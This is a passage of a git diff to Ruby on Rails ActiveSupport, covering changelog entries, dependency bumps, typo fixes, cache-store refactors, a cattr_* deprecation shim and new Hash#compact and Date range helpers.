+ `available_locales` list.
+
+ To disable it add the following configuration to your application:
+
+ config.i18n.enforce_available_locales = false
+
+ This also ensures I18n configuration is properly initialized taking the new
+ option into account, to avoid their deprecations while booting up the app.
+
+ *Carlos Antonio da Silva*, *Yves Senn*
+
+* Introduce Module#concerning: a natural, low-ceremony way to separate
+ responsibilities within a class.
+
+ Imported from https://github.com/37signals/concerning#readme
+
+ class Todo < ActiveRecord::Base
+ concerning :EventTracking do
+ included do
+ has_many :events
+ end
+
+ def latest_event
+ ...
+ end
+
+ private
+ def some_internal_method
+ ...
+ end
+ end
+
+ concerning :Trashable do
+ def trashed?
+ ...
+ end
+
+ def latest_event
+ super some_option: true
+ end
+ end
+ end
+
+ is equivalent to defining these modules inline, extending them into
+ concerns, then mixing them in to the class.
+
+ Inline concerns tame "junk drawer" classes that intersperse many unrelated
+ class-level declarations, public instance methods, and private
+ implementation. Coalesce related bits and give them definition.
+ These are a stepping stone toward future growth & refactoring.
+
+ When to move on from an inline concern:
+ * Encapsulating state? Extract collaborator object.
+ * Encompassing more public behavior or implementation? Move to separate file.
+ * Sharing behavior among classes? Move to separate file.
+
+ *Jeremy Kemper*
+
+* Fix file descriptor being leaked on each call to `Kernel.silence_stream`.
+
+ *Mario Visic*
+
+* Added `Date#all_week/month/quarter/year` for generating date ranges.
+
+ *Dmitriy Meremyanin*
+
+* Add `Time.zone.yesterday` and `Time.zone.tomorrow`. These follow the
+ behavior of Ruby's `Date.yesterday` and `Date.tomorrow` but return localized
+ versions, similar to how `Time.zone.today` has returned a localized version
+ of `Date.today`.
+
+ *Colin Bartlett*
+
+* Show valid keys when `assert_valid_keys` raises an exception, and show the
+ wrong value as it was entered.
+
+ *Gonzalo Rodríguez-Baltanás Díaz*
+
+* Both `cattr_*` and `mattr_*` method definitions now live in `active_support/core_ext/module/attribute_accessors`.
+
+ Requires to `active_support/core_ext/class/attribute_accessors` are
+ deprecated and will be removed in Ruby on Rails 4.2.
+
+ *Genadi Samokovarov*
+
* Deprecated `Numeric#{ago,until,since,from_now}`, the user is expected to explicitly
convert the value into an AS::Duration, i.e. `5.ago` => `5.seconds.ago`
@@ -19,6 +160,22 @@
*Godfrey Chan*
+* Removed the old pure-Ruby JSON encoder and switched to a new encoder based on the built-in JSON
+ gem.
+
+ Support for encoding `BigDecimal` as a JSON number, as well as defining custom `encode_json`
+ methods to control the JSON output has been **removed from core**. The new encoder will always
+ encode BigDecimals as `String`s and ignore any custom `encode_json` methods.
+
+ The old encoder has been extracted into the `activesupport-json_encoder` gem. Installing that
+ gem will bring back the ability to encode `BigDecimal`s as numbers as well as `encode_json`
+ support.
+
+ Setting the related configuration `ActiveSupport.encode_big_decimal_as_string` without the
+ `activesupport-json_encoder` gem installed will raise an error.
+
+ *Godfrey Chan*
+
* Add `ActiveSupport::Testing::TimeHelpers#travel` and `#travel_to`. These methods change current
time to the given time or time difference by stubbing `Time.now` and `Date.today` to return the
time or date after the difference calculation, or the time or date that got passed into the
@@ -215,19 +372,21 @@
The value of `PER_ENTRY_OVERHEAD` is 240 bytes based on an [empirical
estimation](https://gist.github.com/ssimeonov/6047200) for 64-bit MRI on
- 1.9.3 and 2.0. GH#11512
+ 1.9.3 and 2.0.
+
+ Fixes #11512.
*Simeon Simeonov*
* Only raise `Module::DelegationError` if it's the source of the exception.
- Fixes #10559
+ Fixes #10559.
*Andrew White*
* Make `Time.at_with_coercion` retain the second fraction and return local time.
- Fixes #11350
+ Fixes #11350.
*Neer Friedman*, *Andrew White*
@@ -244,7 +403,7 @@
*Arun Agrawal*
-* Remove deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_fromat`.
+* Remove deprecated `DateTime.local_offset` in favor of `DateTime.civil_from_format`.
*Arun Agrawal*
@@ -293,21 +452,21 @@
* Fix return value from `BacktraceCleaner#noise` when the cleaner is configured
with multiple silencers.
- Fixes #11030
+ Fixes #11030.
*Mark J. Titorenko*
* `HashWithIndifferentAccess#select` now returns a `HashWithIndifferentAccess`
instance instead of a `Hash` instance.
- Fixes #10723
+ Fixes #10723.
*Albert Llop*
* Add `DateTime#usec` and `DateTime#nsec` so that `ActiveSupport::TimeWithZone` keeps
sub-second resolution when wrapping a `DateTime` value.
- Fixes #10855
+ Fixes #10855.
*Andrew White*
@@ -323,10 +482,14 @@
* Prevent side effects to hashes inside arrays when
`Hash#with_indifferent_access` is called.
- Fixes #10526
+ Fixes #10526.
*Yves Senn*
+* Removed deprecated `ActiveSupport::JSON::Variable` with no replacement.
+
+ *Toshinori Kajihara*
+
* Raise an error when multiple `included` blocks are defined for a Concern.
The old behavior would silently discard previously defined blocks, running
only the last one.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
index 6aeeb7132d..d06d4f3b2d 100644
--- a/activesupport/MIT-LICENSE
+++ b/activesupport/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2005-2013 David Heinemeier Hansson
+Copyright (c) 2005-2014 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
index 4fdc697a15..f3625e8b79 100644
--- a/activesupport/activesupport.gemspec
+++ b/activesupport/activesupport.gemspec
@@ -20,9 +20,9 @@ Gem::Specification.new do |s|
s.rdoc_options.concat ['--encoding', 'UTF-8']
- s.add_dependency 'i18n', '~> 0.6', '>= 0.6.4'
+ s.add_dependency 'i18n', '~> 0.6', '>= 0.6.9'
s.add_dependency 'json', '~> 1.7', '>= 1.7.7'
s.add_dependency 'tzinfo', '~> 1.1'
- s.add_dependency 'minitest', '~> 5.0'
+ s.add_dependency 'minitest', '~> 5.1'
s.add_dependency 'thread_safe','~> 0.1'
end
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
index 5e1fe9e556..ab0054b339 100644
--- a/activesupport/lib/active_support.rb
+++ b/activesupport/lib/active_support.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2005-2013 David Heinemeier Hansson
+# Copyright (c) 2005-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -52,6 +52,7 @@ module ActiveSupport
autoload :MessageEncryptor
autoload :MessageVerifier
autoload :Multibyte
+ autoload :NumberHelper
autoload :OptionMerger
autoload :OrderedHash
autoload :OrderedOptions
@@ -63,6 +64,12 @@ module ActiveSupport
autoload :Rescuable
autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
autoload :TestCase
+
+ def self.eager_load!
+ super
+
+ NumberHelper.eager_load!
+ end
end
autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
index c88ae3e661..d58578b7bc 100644
--- a/activesupport/lib/active_support/backtrace_cleaner.rb
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -22,7 +22,7 @@ module ActiveSupport
# <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
# backtrace to a pristine state. If you need to reconfigure an existing
# BacktraceCleaner so that it does not filter or modify the paths of any lines
- # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!<tt>
+ # of the backtrace, you can call <tt>BacktraceCleaner#remove_filters!</tt>
# These two methods will give you a completely untouched backtrace.
#
# Inspired by the Quiet Backtrace gem by Thoughtbot.
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
index 5c1d473161..53154aef27 100644
--- a/activesupport/lib/active_support/cache.rb
+++ b/activesupport/lib/active_support/cache.rb
@@ -3,7 +3,7 @@ require 'zlib'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/array/wrap'
require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/numeric/bytes'
require 'active_support/core_ext/numeric/time'
require 'active_support/core_ext/object/to_param'
@@ -401,7 +401,7 @@ module ActiveSupport
end
end
- # Return +true+ if the cache contains an entry for the given key.
+ # Returns +true+ if the cache contains an entry for the given key.
#
# Options are passed to the underlying cache implementation.
def exist?(name, options = nil)
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
index 5cd6065077..8ed60aebac 100644
--- a/activesupport/lib/active_support/cache/file_store.rb
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -22,15 +22,15 @@ module ActiveSupport
extend Strategy::LocalCache
end
- # Deletes all items from the cache. In this case it deletes all the entries in the specified
- # file store directory except for .gitkeep. Be careful which directory is specified in your
+ # Deletes all items from the cache. In this case it deletes all the entries in the specified
+ # file store directory except for .gitkeep. Be careful which directory is specified in your
# config file when using +FileStore+ because everything in that directory will be deleted.
def clear(options = nil)
root_dirs = Dir.entries(cache_path).reject {|f| (EXCLUDED_DIRS + [".gitkeep"]).include?(f)}
FileUtils.rm_r(root_dirs.collect{|f| File.join(cache_path, f)})
end
- # Premptively iterates through all stored keys and removes the ones which have expired.
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
search_dir(cache_path) do |fname|
@@ -43,33 +43,13 @@ module ActiveSupport
# Increments an already existing integer value that is stored in the cache.
# If the key is not found nothing is done.
def increment(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i + amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, amount, options)
end
# Decrements an already existing integer value that is stored in the cache.
# If the key is not found nothing is done.
def decrement(name, amount = 1, options = nil)
- file_name = key_file_path(namespaced_key(name, options))
- lock_file(file_name) do
- options = merged_options(options)
- if num = read(name, options)
- num = num.to_i - amount
- write(name, num, options)
- num
- else
- nil
- end
- end
+ modify_value(name, -amount, options)
end
def delete_matched(matcher, options = nil)
@@ -184,6 +164,22 @@ module ActiveSupport
end
end
end
+
+ # Modifies the amount of an already existing integer value that is stored in the cache.
+ # If the key is not found nothing is done.
+ def modify_value(name, amount, options)
+ file_name = key_file_path(namespaced_key(name, options))
+
+ lock_file(file_name) do
+ options = merged_options(options)
+
+ if num = read(name, options)
+ num = num.to_i + amount
+ write(name, num, options)
+ num
+ end
+ end
+ end
end
end
end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
index 512296554f..61b4f0b8b0 100644
--- a/activesupport/lib/active_support/cache/mem_cache_store.rb
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -41,17 +41,15 @@ module ActiveSupport
#
# If no addresses are specified, then MemCacheStore will connect to
# localhost port 11211 (the default memcached port).
- #
- # Instead of addresses one can pass in a MemCache-like object. For example:
- #
- # require 'memcached' # gem install memcached; uses C bindings to libmemcached
- # ActiveSupport::Cache::MemCacheStore.new(Memcached::Rails.new("localhost:11211"))
def initialize(*addresses)
addresses = addresses.flatten
options = addresses.extract_options!
super(options)
- if addresses.first.respond_to?(:get)
+ unless [String, Dalli::Client, NilClass].include?(addresses.first.class)
+ raise ArgumentError, "First argument must be an empty array, an array of hosts or a Dalli::Client instance."
+ end
+ if addresses.first.is_a?(Dalli::Client)
@data = addresses.first
else
mem_cache_options = options.dup
@@ -87,7 +85,7 @@ module ActiveSupport
instrument(:increment, name, :amount => amount) do
@data.incr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
@@ -101,7 +99,7 @@ module ActiveSupport
instrument(:decrement, name, :amount => amount) do
@data.decr(escape_key(namespaced_key(name, options)), amount)
end
- rescue Dalli::DalliError
+ rescue Dalli::DalliError => e
logger.error("DalliError (#{e}): #{e.message}") if logger
nil
end
diff --git a/activesupport/lib/active_support/cache/memory_store.rb b/activesupport/lib/active_support/cache/memory_store.rb
index 34ac91334a..8a0523d0e2 100644
--- a/activesupport/lib/active_support/cache/memory_store.rb
+++ b/activesupport/lib/active_support/cache/memory_store.rb
@@ -36,7 +36,7 @@ module ActiveSupport
end
end
- # Premptively iterates through all stored keys and removes the ones which have expired.
+ # Preemptively iterates through all stored keys and removes the ones which have expired.
def cleanup(options = nil)
options = merged_options(options)
instrument(:cleanup, :size => @data.size) do
diff --git a/activesupport/lib/active_support/cache/strategy/local_cache.rb b/activesupport/lib/active_support/cache/strategy/local_cache.rb
index cea7eee924..4eaf57f385 100644
--- a/activesupport/lib/active_support/cache/strategy/local_cache.rb
+++ b/activesupport/lib/active_support/cache/strategy/local_cache.rb
@@ -1,5 +1,6 @@
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/string/inflections'
+require 'rack/body_proxy'
module ActiveSupport
module Cache
@@ -83,9 +84,14 @@ module ActiveSupport
def call(env)
LocalCacheRegistry.set_cache_for(local_cache_key, LocalStore.new)
- @app.call(env)
- ensure
+ response = @app.call(env)
+ response[2] = ::Rack::BodyProxy.new(response[2]) do
+ LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ end
+ response
+ rescue Exception
LocalCacheRegistry.set_cache_for(local_cache_key, nil)
+ raise
end
end
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index c3aac31323..e14ece7f35 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -7,14 +7,14 @@ require 'active_support/core_ext/kernel/singleton_class'
require 'thread'
module ActiveSupport
- # Callbacks are code hooks that are run at key points in an object's lifecycle.
+ # Callbacks are code hooks that are run at key points in an object's life cycle.
# The typical use case is to have a base class define a set of callbacks
# relevant to the other functionality it supplies, so that subclasses can
# install callbacks that enhance or modify the base functionality without
# needing to override or redefine methods of the base class.
#
# Mixing in this module allows you to define the events in the object's
- # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+ # life cycle that will support callbacks (via +ClassMethods.define_callbacks+),
# set the instance methods, procs, or callback objects to be called (via
# +ClassMethods.set_callback+), and run the installed callbacks at the
# appropriate times (via +run_callbacks+).
@@ -89,7 +89,7 @@ module ActiveSupport
private
- # A hook invoked everytime a before callback is halted.
+ # A hook invoked every time a before callback is halted.
# This can be overridden in AS::Callback implementors in order
# to provide better debugging/logging.
def halted_callback_hook(filter)
@@ -577,7 +577,7 @@ module ActiveSupport
# The callback can be specified as a symbol naming an instance method; as a
# proc, lambda, or block; as a string to be instance evaluated; or as an
# object that responds to a certain method determined by the <tt>:scope</tt>
- # argument to +define_callback+.
+ # argument to +define_callbacks+.
#
# If a proc, lambda, or block is given, its body is evaluated in the context
# of the current object. It can also optionally accept the current object as
@@ -648,7 +648,7 @@ module ActiveSupport
self.set_callbacks name, callbacks.dup.clear
end
- # Define sets of events in the object lifecycle that support callbacks.
+ # Define sets of events in the object life cycle that support callbacks.
#
# define_callbacks :validate
# define_callbacks :initialize, :save, :destroy
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index e0d39d509f..3dd44e32d8 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -107,7 +107,7 @@ module ActiveSupport
options = names.extract_options!
names.each do |name|
- raise NameError.new('invalid config attribute name') unless name =~ /^[_A-Za-z]\w*$/
+ raise NameError.new('invalid config attribute name') unless name =~ /\A[_A-Za-z]\w*\z/
reader, reader_line = "def #{name}; config.#{name}; end", __LINE__
writer, writer_line = "def #{name}=(value); config.#{name} = value; end", __LINE__
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c2f3..c750a10bb2 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 0cf955b889..083b165dce 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,181 +1,6 @@
-require 'active_support/core_ext/array/extract_options'
+require 'active_support/deprecation'
+require 'active_support/core_ext/module/attribute_accessors'
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
- # Defines a class attribute if it's not defined and creates a reader method that
- # returns the attribute value.
- #
- # class Person
- # cattr_reader :hair_colors
- # end
- #
- # Person.class_variable_set("@@hair_colors", [:brown, :black])
- # Person.hair_colors # => [:brown, :black]
- # Person.new.hair_colors # => [:brown, :black]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_reader :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_reader :hair_colors, instance_reader: false
- # end
- #
- # Person.new.hair_colors # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_reader :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- def cattr_reader(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
- EOS
-
- unless options[:instance_reader] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}
- @@#{sym}
- end
- EOS
- end
- class_variable_set("@@#{sym}", yield) if block_given?
- end
- end
-
- # Defines a class attribute if it's not defined and creates a writer method to allow
- # assignment to the attribute.
- #
- # class Person
- # cattr_writer :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black]
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
- # Person.new.hair_colors = [:blonde, :red]
- # Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_writer :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_writer :hair_colors, instance_writer: false
- # end
- #
- # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_writer :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_writer(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
-
- unless options[:instance_writer] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
- end
- send("#{sym}=", yield) if block_given?
- end
- end
-
- # Defines both class and instance accessors for class attributes.
- #
- # class Person
- # cattr_accessor :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black, :blonde, :red]
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
- #
- # If a subclass changes the value then that would also change the value for
- # parent class. Similarly if parent class changes the value then that would
- # change the value of subclasses too.
- #
- # class Male < Person
- # end
- #
- # Male.hair_colors << :blue
- # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
- #
- # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
- # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_accessor: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Also you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_accessor :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_accessor(*syms, &blk)
- cattr_reader(*syms)
- cattr_writer(*syms, &blk)
- end
-end
+ActiveSupport::Deprecation.warn(
+ "The cattr_* method definitions have been moved into active_support/core_ext/module/attribute_accessors. Please require that instead."
+)
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index ff870f5fd1..c2219beb5a 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -4,20 +4,21 @@ require 'active_support/core_ext/module/remove_method'
class Class
def superclass_delegating_accessor(name, options = {})
# Create private _name and _name= methods that can still be used if the public
- # methods are overridden. This allows
- _superclass_delegating_accessor("_#{name}")
+ # methods are overridden.
+ _superclass_delegating_accessor("_#{name}", options)
- # Generate the public methods name, name=, and name?
+ # Generate the public methods name, name=, and name?.
# These methods dispatch to the private _name, and _name= methods, making them
- # overridable
+ # overridable.
singleton_class.send(:define_method, name) { send("_#{name}") }
singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
- # If an instance_reader is needed, generate methods for name and name= on the
- # class itself, so instances will be able to see them
- define_method(name) { send("_#{name}") } if options[:instance_reader] != false
- define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+ # If an instance_reader is needed, generate public instance methods name and name?.
+ if options[:instance_reader] != false
+ define_method(name) { send("_#{name}") }
+ define_method("#{name}?") { !!send("#{name}") }
+ end
end
private
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 6bc8f12176..df419a6e63 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -1,6 +1,7 @@
require 'date'
require 'active_support/inflector/methods'
require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/module/remove_method'
class Date
DATE_FORMATS = {
@@ -19,8 +20,10 @@ class Date
# Ruby 1.9 has Date#to_time which converts to localtime only.
remove_method :to_time
- # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
- remove_method :xmlschema
+ # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+ # component. This removal may generate an issue on FreeBSD, that's why we
+ # need to use remove_possible_method here
+ remove_possible_method :xmlschema
# Convert to a formatted string. See DATE_FORMATS for predefined formats.
#
@@ -37,12 +40,12 @@ class Date
# date.to_formatted_s(:rfc822) # => "10 Nov 2007"
# date.to_formatted_s(:iso8601) # => "2007-11-10"
#
- # == Adding your own time formats to to_formatted_s
+ # == Adding your own date formats to to_formatted_s
# You can add your own formats to the Date::DATE_FORMATS hash.
# Use the format name as the hash key and either a strftime string
# or Proc instance that takes a date argument as the value.
#
- # # config/initializers/time_formats.rb
+ # # config/initializers/date_formats.rb
# Date::DATE_FORMATS[:month_and_year] = '%B %Y'
# Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index c869a0e210..b85e49aca5 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -213,6 +213,27 @@ module DateAndTime
end
alias :at_end_of_year :end_of_year
+ # Returns a Range representing the whole week of the current date/time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
+ beginning_of_week(start_day)..end_of_week(start_day)
+ end
+
+ # Returns a Range representing the whole month of the current date/time.
+ def all_month
+ beginning_of_month..end_of_month
+ end
+
+ # Returns a Range representing the whole quarter of the current date/time.
+ def all_quarter
+ beginning_of_quarter..end_of_quarter
+ end
+
+ # Returns a Range representing the whole year of the current date/time.
+ def all_year
+ beginning_of_year..end_of_year
+ end
+
private
def first_hour(date_or_time)
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 8e5d723074..73ad0aa097 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -151,7 +151,11 @@ class DateTime
# Layers additional behavior on DateTime#<=> so that Time and
# ActiveSupport::TimeWithZone instances can be compared with a DateTime.
def <=>(other)
- super other.to_datetime
+ if other.respond_to? :to_datetime
+ super other.to_datetime
+ else
+ nil
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index 686f12c6da..f68e1662f9 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,3 +1,4 @@
+require 'active_support/core_ext/hash/compact'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/deep_merge'
require 'active_support/core_ext/hash/except'
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000000..6566215a4d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,20 @@
+class Hash
+ # Returns a hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact # => { a: true, b: false}
+ # hash # => { a: true, b: false, c: nil}
+ # { c: nil }.compact # => {}
+ def compact
+ self.select { |_, value| !value.nil? }
+ end
+
+ # Replaces current hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact! # => { a: true, b: false}
+ # hash # => { a: true, b: false}
+ def compact!
+ self.reject! { |_, value| value.nil? }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index d90e996ad4..682d089881 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,5 +1,5 @@
class Hash
- # Return a hash that includes everything but the given keys. This is useful for
+ # Returns a hash that includes everything but the given keys. This is useful for
# limiting a set of parameters to everything but a few known toggles:
#
# @person.update(params[:person].except(:admin))
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index f35c2be4c2..3d41aa8572 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,5 +1,5 @@
class Hash
- # Return a new hash with all keys converted using the block operation.
+ # Returns a new hash with all keys converted using the block operation.
#
# hash = { name: 'Rob', age: '28' }
#
@@ -22,7 +22,7 @@ class Hash
self
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
#
# hash = { name: 'Rob', age: '28' }
#
@@ -38,7 +38,7 @@ class Hash
transform_keys!{ |key| key.to_s }
end
- # Return a new hash with all keys converted to symbols, as long as
+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+.
#
# hash = { 'name' => 'Rob', 'age' => '28' }
@@ -61,17 +61,19 @@ class Hash
# on a mismatch. Note that keys are NOT treated indifferently, meaning if you
# use strings for keys but assert symbols as keys, this will fail.
#
- # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
- # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
# { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
def assert_valid_keys(*valid_keys)
valid_keys.flatten!
each_key do |k|
- raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+ unless valid_keys.include?(k)
+ raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+ end
end
end
- # Return a new hash with all keys converted by the block operation.
+ # Returns a new hash with all keys converted by the block operation.
# This includes the keys from the root hash and from all
# nested hashes.
#
@@ -98,7 +100,7 @@ class Hash
self
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
# This includes the keys from the root hash and from all
# nested hashes.
#
@@ -117,7 +119,7 @@ class Hash
deep_transform_keys!{ |key| key.to_s }
end
- # Return a new hash with all keys converted to symbols, as long as
